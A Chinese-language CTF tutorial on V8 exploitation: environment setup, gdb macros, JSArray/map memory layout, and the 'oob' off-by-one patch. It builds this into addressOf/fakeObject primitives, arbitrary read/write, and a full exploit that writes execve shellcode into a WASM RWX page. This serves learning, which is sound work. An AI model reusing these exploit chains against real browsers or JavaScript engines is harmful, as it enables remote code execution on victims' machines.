这篇文章笔者将带领大家一起入门学习V8,pwn方向中,v8也是一个比较有趣的方向!
chrome 里面的 JavaScript 解释器称为v8,我们做的pwn题主要面向的也是这个。这里搭建环境的步骤如下:
#depot_tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$PATH":`pwd`/depot_tools
#ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
export PATH="$PATH":`pwd`/ninja
fetch v8
#这个步骤需要开启代理
cd v8&& gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
#out.gn文件夹是最后输出的文件位置
当我们拿到题目,我们需要做的是:
退回题目给的版本之后,再把补丁加在到v8码源中。
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
gdb配置。
V8自带gdb调试命令,在/tools/目录下,可以找到gdbinit和gdb-v8-support.py。我将gdb-v8-support.py复制到了根目录下,然后修改自己的.gdbinit文件,将提供的gdbinit都复制过来。就可以在gdb中使用v8自带调试命令了。具体命令可以在gdbinit中自己查阅,注释还是很友好的。
我的gdbinit文件:
#source /home/lyyy/Desktop/pwndbg/gdbinit.py
source /home/lyyy/Desktop/tools/pwndbg/gdbinit.py
source /home/lyyy/Desktop/v8/tools/gdb-v8-support.py
source /home/lyyy/Desktop/tools/Pwngdb/angelheap/gdbinit.py
source /home/lyyy/Desktop/tools/Pwngdb/pwngdb.py
#source /home/lyyy/Desktop/tools/peda-heap/peda.py
set context-output /dev/pts/2
define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end
#v8 gdb define
# Print tagged object.
define job
call (void) _v8_internal_Print_Object((void*)($arg0))
end
document job
Print a v8 JavaScript object
Usage: job tagged_ptr
end
# Print content of v8::internal::Handle.
define jh
call (void) _v8_internal_Print_Object(*((v8::internal::Object**)($arg0).location_))
end
document jh
Print content of a v8::internal::Handle
Usage: jh internal_handle
end
# Print content of v8::Local handle.
define jlh
call (void) _v8_internal_Print_Object(*((v8::internal::Object**)($arg0).val_))
end
document jlh
Print content of a v8::Local handle
Usage: jlh local_handle
end
# Print Code objects containing given PC.
define jco
call (void) _v8_internal_Print_Code((void*)($arg0))
end
document jco
Print a v8 Code object from an internal code address
Usage: jco pc
end
# Print LayoutDescriptor.
define jld
call (void) _v8_internal_Print_LayoutDescriptor((void*)($arg0))
end
document jld
Print a v8 LayoutDescriptor object
Usage: jld tagged_ptr
end
# Print TransitionTree.
define jtt
call (void) _v8_internal_Print_TransitionTree((void*)($arg0))
end
document jtt
Print the complete transition tree of the given v8 Map.
Usage: jtt tagged_ptr
end
# Print JavaScript stack trace.
define jst
call (void) _v8_internal_Print_StackTrace()
end
document jst
Print the current JavaScript stack trace
Usage: jst
end
# Skip the JavaScript stack.
define jss
set $js_entry_sp=v8::internal::Isolate::Current()->thread_local_top()->js_entry_sp_
set $rbp=*(void**)$js_entry_sp
set $rsp=$js_entry_sp + 2*sizeof(void*)
set $pc=*(void**)($js_entry_sp+sizeof(void*))
end
document jss
Skip the jitted stack on x64 to where we entered JS last.
Usage: jss
end
# Print stack trace with assertion scopes.
define bta
python
import re
frame_re = re.compile("^#(\d+)\s*(?:0x[a-f\d]+ in )?(.+) \(.+ at (.+)")
assert_re = re.compile("^\s*(\S+) = .+<v8::internal::Per\w+AssertScope<v8::internal::(\S*), (false|true)>")
btl = gdb.execute("backtrace full", to_string = True).splitlines()
for l in btl:
match = frame_re.match(l)
if match:
print("[%-2s] %-60s %-40s" % (match.group(1), match.group(2), match.group(3)))
match = assert_re.match(l)
if match:
if match.group(3) == "false":
prefix = "Disallow"
color = "\033[91m"
else:
prefix = "Allow"
color = "\033[92m"
print("%s -> %s %s (%s)\033[0m" % (color, prefix, match.group(2), match.group(1)))
end
end
document bta
Print stack trace with assertion scopes
Usage: bta
end
# Search for a pointer inside all valid pages.
define space_find
set $space = $arg0
set $current_page = $space->first_page()
while ($current_page != 0)
printf "# Searching in %p - %p\n", $current_page->area_start(), $current_page->area_end()-1
find $current_page->area_start(), $current_page->area_end()-1, $arg1
set $current_page = $current_page->next_page()
end
end
define heap_find
set $heap = v8::internal::Isolate::Current()->heap()
printf "# Searching for %p in old_space ===============================\n", $arg0
space_find $heap->old_space() ($arg0)
printf "# Searching for %p in map_space ===============================\n", $arg0
space_find $heap->map_space() $arg0
printf "# Searching for %p in code_space ===============================\n", $arg0
space_find $heap->code_space() $arg0
end
document heap_find
Find the location of a given address in V8 pages.
Usage: heap_find address
end
set disassembly-flavor intel
set disable-randomization off
# Install a handler whenever the debugger stops due to a signal. It walks up the
# stack looking for V8_Dcheck and moves the frame to the one above it so it's
# immediately at the line of code that triggered the DCHECK.
python
def dcheck_stop_handler(event):
frame = gdb.selected_frame()
select_frame = None
message = None
count = 0
# limit stack scanning since they're usually shallow and otherwise stack
# overflows can be very slow.
while frame is not None and count < 5:
count += 1
if frame.name() == 'V8_Dcheck':
frame_message = gdb.lookup_symbol('message', frame.block())[0]
if frame_message:
message = frame_message.value(frame).string()
select_frame = frame.older()
break
if frame.name() is not None and frame.name().startswith('V8_Fatal'):
select_frame = frame.older()
frame = frame.older()
if select_frame is not None:
select_frame.select()
gdb.execute('frame')
if message:
print('DCHECK error: {}'.format(message))
gdb.events.stop.connect(dcheck_stop_handler)
end
在使用gdb调试时需要开启allow-natives-syntax
选项:
//方法一
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ ./d8 --allow-natives-syntax
//方法二
winter@ubuntu:~/v8/v8/out.gn/x64.debug$ gdb ./d8
[...]
pwndbg> set args --allow-natives-syntax test.js
可以直接在 js
代码中使用%DebugPrint();
以及%SystemBreak();
下断点。%SystemBreak()
其作用是在调试的时候会断在这条语句这里,%DebugPrint()
则是用来打印对象的相关信息,在debug
版本下会输出很详细的信息。
用于可视化显示JavaScript
对象的内存结构。
gdb
下使用:job 对象地址。
在resele版本中会报错:
No symbol "_v8_internal_Print_Object" in current context.
V8 中的对象有如下属性:
map: 定义了如何访问对象
prototype:对象的原型(如果有)
elements:对象的地址
length:长度
properties:属性,存有map和length
分析:
对象里存储的数据是在elemnts
指向的内存区域的,而且是在对象的上面。也即,在内存申请上,V8先申请了一块内存存储元素内容,然后申请了一块内存存储这个数组的对象结构,对象中的elements
指向了存储元素内容的内存地址。
对象的map
(数组是对象)是一种数据结构,其中包含以下信息:
对象的动态类型,即 String,Uint8Array,HeapNumber 等
对象的大小,以字节为单位
对象的属性及其存储位置
数组元素的类型,例如 unboxed 的双精度数或带标记的指针
对象的原型(如果有)
属性名称通常存储在Map
中,而属性值则存储在对象本身中几个可能区域之一中。然后,map
将提供属性值在相应区域中的确切位置。
本质上,映射定义了应如何访问对象:
对于对象数组:存储的是每个对象的地址。
对于浮点数组:以浮点数形式存储数值。
所以,如果将对象数组的map
换成浮点数组 -> 就变成了浮点数组,会以 浮点数的形式存储对象的地址;如果将对 浮点组的 map 换成对象数组 -> 就变成了对象数组,打印浮点数存储的地址。
也就是说,对象数组里面,存储的是别的对象的地址。
入门题目
这里题目直接给出了一个 oob.diff
文件,如下所示:
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
我们可以通过这个diff文件里面看出他添加了什么内容,这个文件实际就是增加了一个oob
函数,主要分为三部分:定义、实现和关联。
定义
为数组添加名为oob
的内置函数(用于调用),内部调用的函数名是kArrayOob
(实现oob的函数)。
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
uint32_t len = args.length();
if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
args.length()
获取传递给该内置函数的参数数量。
如果参数数量超过2,则返回未定义值,这可能是为了限制该函数仅处理特定数量的参数。
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver, Object::ToObject(isolate, args.receiver()));
Object::ToObject(isolate, args.receiver())
将传入的接收器对象转换为一个JSReceiver对象,并将其赋值给 receiver
句柄。
ASSIGN_RETURN_FAILURE_ON_EXCEPTION
是一个宏,用于检查转换过程中是否发生异常,如果有异常则返回失败状态。
Handle<JSArray> array = Handle<JSArray>::cast(receiver);
FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
uint32_t length = static_cast<uint32_t>(array->length()->Number());
Handle::cast(receiver)
将接收器对象 receiver
转换为 JSArray
类型的句柄。
array->elements()
获取数组的元素。
FixedDoubleArray::cast(...)
将数组的元素转换为 FixedDoubleArray
类型,这可能意味着该函数特别处理双精度浮点数数组。
array->length()->Number()
获取数组的长度并转换为 uint32_t
类型。
时):
cpp复制代码if(len == 1){
//read
return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
}
当参数数量为1时,执行读取操作。
elements.get_scalar(length)
获取数组中索引为 length
的元素的值,并使用 NewNumber
将其包装为一个新的数字对象。
时):
cpp复制代码else {
//write
Handle<Object> value;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
elements.set(length,value->Number());
return ReadOnlyRoots(isolate).undefined_value();
}
当参数数量为2时,执行写入操作。
Object::ToNumber(isolate, args.at(1))
将第二个参数(索引为1)转换为数字类型。
elements.set(length, value->Number())
将转换后的数字值写入数组中索引为 length
的位置。
最后返回未定义值,表示写入操作完成。
那么这里就存在一个明显的数组越界,我们数组的下标应该是[0, length-1]
。而这里我们能够修改arr[length]
的值,那么就可以越界修改相邻的一个地址的值。也就是我们平时off by one。
其实这个函数按照c语言的翻译来讲就是:
len==1 return(arr[length])
len==2 return(arr[length]=data)
这个就是越界写了。
基础工具api编写
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
写个poc调试一下,这个题目主要还是用来熟悉调试过程,首先呢,我们创建数组然后调试查看一下内存。
var a = [1.1, 2.2, 3.3, 4];
%DebugPrint(a);
%SystemBreak();
var b = [1, 2, 3];
%DebugPrint(b);
%SystemBreak();
var c = [a, b]
%DebugPrint(c);
%SystemBreak();
接下来我们来调试观察一下内存中的布局:
我们再来看看elements的存储:
这个位置便是我们越界写的地方,这个位置是map的位置,紧挨着elements,我们可以跟进一下看看这个地方的结构。
可以看到整个数组的JSArray
的map
类型是 紧邻在 element
类型的下面的,也即上面的0x1c27e95c2ed9。
那么结合漏洞点我们可以知道,我们就是通过这个越界写去修改map的地址。
map
的一个作用就是标识当前变量的 类型,那么这里我们就可以利用修改map
来修改一些 变量的数据类型,达到类型混淆的作用。
我们去看看这个map所指向的地址与内存情况。
那我们再看看对象数组的内存情况:
var a = [1.1, 2,2];
%DebugPrint(a);
%SystemBreak();
var b = [1, 2];
var c = [a, b];
console.log(c[0]);
%DebugPrint(c);
%SystemBreak();
在内存布局中其实是一致的,只是存储的是对象的地址:
+---> elements +---> +---------------+
| | |
| +---------------+
| | |
| +---------------+ fakeObject +--------------+
| |fake_array[0] | +----------> | map |
| +---------------+ +--------------+ 想要 读 或 改 的
| |fake_array[1] | | prototype | 内 存
| +---------------+ +--------------+ +-------------+
| |fake_array[2] | | elements | +------> | |
| +---------------+ +--------------+ | |
| | | | | | |
| | | | | | |
| fake_array+--> +---------------+ | | | |
| | map | | | | |
| +---------------+ | | | |
| | prototype | +--------------+ | |
| +---------------+ | |
+--------------------+ elements | | |
+---------------+ | |
| length | | |
+---------------+ | |
| properties | | |
+---------------+ +-------------+
我们可以模拟我们的效果,c对象的map地址改成a的map,再进行输出,看看效果:
我们需要将0x3414a684dee8 修改成为0x6aab1b02ed9:
set {unsigned long long} 0x3414a684dee8 =0x6aab1b02ed9
可以看到解析错误,那我们就可以利用这一点来漏洞利用,笔者也是第一次接触v8架构的。
我们使用oob来触发这个漏洞。
var fake_array = [
float_array_map,//fake to be a float arr object
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];
之前的调试可以发现,如果是对象类型的数组,element存储的是对象地址,而如果是float类型的数组,element存储的便是浮点数,如果我们将对象类型的数组map值改成float的map值,那么就可以把对象数组当做float数组输出,原本存储在element中的地址就会被当做float输出,就可以做到泄露地址的效果。
function leak(object)
{
obj_arr[0] = obj;
obj_arr.oob(float_array_map);//修改map值为float数组的map值
let obj_addr = f2i(obj_arr[0]-1n); //read obj[0] is obj_addr
obj_arr.oob(obj_array_map); //恢复object的map值
return obj_addr;
}
泄露地址是将对象的map改变为浮点数的map,那么伪造对象辅助函数便是将float的map改变为对象的map,我们输入地址,通过对象的特性,就可以伪造为一个对象,最后再将map值恢复。
function fakeObject(addr_to_fake)
{
float_arr[0] = i2f(addr_to_fake+1n);
float_arr.oob(obj_array_map); //修改map值
let fake_obj = float_arr[0]; //get fake_obj
float_arr.oob(float_array_map); //恢复map值
return fake_obj;
}
按照上述分析,我们可以将一个地址伪造为对象,element如果可控的话,对象数组的element便是可控的指针,我们可以在element上布置我们想要改写的地址,通过数组便可以进行改写操作,从而实现任意地址写。
对象结构:
map
prototype
elements
length
properties
其实和泄露地址是一个道理了,类型混淆中去进行泄露,想要泄露某个地址,无疑就是将一个地址加入到一个类的element元素之中,利用类索引去将这个地址打印出来。
首先呢,我们伪造一个类,其实就是类似于我们pwn中io的IOFILE结构体:
var fake_array = [
float_array_map,//fake to be a float arr object
i2f(0n),
i2f(0x41414141n),//fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2
];
这个fake_array是一个float的类,我们要让他被识别为一个float的对象,fake_arrry_map我们要放一个对象的map,那么我们存放在element里面的值就可以作为地址被解析。
那么我们要获取他的地址,我们之前写了一个功能是解析类的地址的,但是我们获取到的是map的地址,我们要让他指向element,根据偏移,fake_array一共六个元素,一个元素一个字节,那么就是0x8*6=0x30,减去0x30就指向我们伪造的element的位置。
即:
var fake_arr_addr = leak(fake_array);
var fake_object_addr = fake_arr_addr - 0x30n
我们在将这个伪造的结构插入到对象中。
var fake_object = fakeObject(fake_object_addr);
接下来呢,fake_object就是一个对象了,他的element第一个位置放的就是我们的fake_array,解析第一个对象就会解析fake_array,此时,fake_array的map是一个对象,那么就会把element当成一个地址去解析里面的内容,element是我们可控的,从而实现任意地址读,我们只需要修改fake_array的第三个元素即可。
任意地址读的函数如下:
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);//其实就是跟heap的chunk的道理一样,我们需要data区域的内容,但是申请的时候需要分配prev_size和size位,这里也是一样道理的,要去掉一个map和prototype的位置,需要提前减掉0x10
let leak_data = f2i(fake_object[0]);//解析第一个元素
console.log("[*] leak from: 0x" +hex(addr) + ": 0x" + hex(leak_data));
return leak_data;
}
其实跟写是一个道理的,我们只需要修改fake_object[0],一路解析就会解析到我们fake_array上我们布置的内存块了。
function write64(addr,data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
我们的目标是让程序执行shellcode。那我们首先得找到一个rwxp的内存区域来存放我们的shellcode。
wasw会在程序中开辟一段可读可写可执行的空间,我们可以将这块内存上的内容篡改成我们的shellcode。
我们用gdb调试尝试去找一下存放WASM代码的地址:
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
通过调试我们可以发现:
f的wasm instance和我们泄露的wasmInstance是一样的。
我们看一下shared_info的内容:
再看一下data域:
可以发现f中shared_info中data中的instance就是wasmInstance,我们来查看一下内存。
vmmap查看一下地址执行权限:
有一个可读可写可执行的段
再查看一下instance中的信息
可以看到instance上有可读可写可执行段的地址,可以找到instance地址和可读可写可执行段的偏移。之后我们可以通过read找到instance地址通过偏移找到可读可写可执行段。再通过write函数将shellcode写入,wasm便可执行shellcode。
那么我们的思路便是,通过任意地址读将这个可读可写可执行段地址泄露到,然后利用我们的任意地址写功能,将shellcode写入到这个地址中去。
其实也是跟pwn的思路相同了,将我们的shellcode写入到这个可读可写可执行的段中!
exp:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
// ××××××××2. addressOf和fakeObject的实现××××××××
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();//oob函数出来的就是map
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;//泄漏出来的地址-1才是真实地址
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);//地址需要+1才是v8中的正确表达方式
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
// ××××××××3.read & write anywhere××××××××
// 这是一块我们可以控制的内存
var fake_array = [ //伪造一个对象
float_array_map,
i2f(0n),
i2f(0x41414141n), // fake obj's elements ptr
i2f(0x1000000000n),
1.1,
2.2,
];
// 获取到这块内存的地址
var fake_array_addr = addressOf(fake_array);
// 将可控内存转换为对象
var fake_object_addr = fake_array_addr - 0x30n;
var fake_object = fakeObject(fake_object_addr);
// 任意地址读
function read64(addr)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
let leak_data = f2i(fake_object[0]);
return leak_data;
}
// 任意地址写
function write64(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 0x1n);
fake_object[0] = i2f(data);
}
//data_view任意写
var data_buf = new ArrayBuffer(8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
function writeDataview(addr,data){
write64(buf_backing_store_addr, addr);
data_view.setBigUint64(0, data, true);
console.log("[*] write to : 0x" +hex(addr) + ": 0x" + hex(data));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = addressOf(f);
console.log("[*] leak wasm_func_addr: 0x" + hex(f_addr));
var shared_info_addr = read64(f_addr + 0x18n) - 0x1n;
var wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;
var wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(rwx_page_addr));
shellcode = [
0x91969dd1bb48c031n,
0x53dbf748ff978cd0n,
0xb05e545752995f54n,
0x50f3bn
];
var data_buf = new ArrayBuffer(32);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
write64(buf_backing_store_addr, rwx_page_addr);
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);
// trigger shellcode
f();
可以看到成功getshell了!